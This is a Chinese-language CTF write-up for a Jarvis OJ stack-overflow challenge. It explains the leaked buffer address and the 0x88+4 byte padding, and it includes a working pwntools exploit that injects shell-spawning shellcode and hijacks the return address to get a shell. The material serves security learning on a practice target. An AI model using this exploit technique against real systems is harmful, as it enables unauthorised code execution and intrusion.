首先nc一下
之后我们来看ida反编译
在“Hello,World!\n”之前有一个vulnerable_function,进去之后查看一下这个函数
可以看出来刚刚出现的奇怪的地址是buf的首地址(%p是返回参数地址的),那么我们就要查看一下buf。
从中能看出buf有0x88的字节,并且返回指令在+0004的位置,所以需要填充0x88+4的字节
这个题目中没有system函数,所以需要自己写shellcode,首先把代码提供出来
from pwn import *
p=remote('pwn2.jarvisoj.com',9877)
context(arch='i386',os='linux',log_level='debug')
shellcode=''
shellcode+=asm(shellcraft.sh())
add_str=p.recvline()[14:22]
add_str=int(add_str,16)
pwn_str=shellcode+(0x88+4-len(shellcode))*'A'+p32(add_str)
p.send(pwn_str)
p.interactive()
首先,pwntools的基本用法在这里就不多加赘述了。
我们首先看p.recvline()[14:22]这个部分。
其他人可能见过会有人写recvline[14:-2]的这个样式,这个是一样的效果,[]是Python的索引,其中:前面的部分是开始获取的位置,后面的部分是之后获取的位置。既然说了是索引了那么其他的大家就好好看看python的语法吧,我也是好顿翻了一遍才知道的。
int(add_str,16)是为了调成16进制。之后只要乖乖写payload就好了。
便能够取得flag了!!!!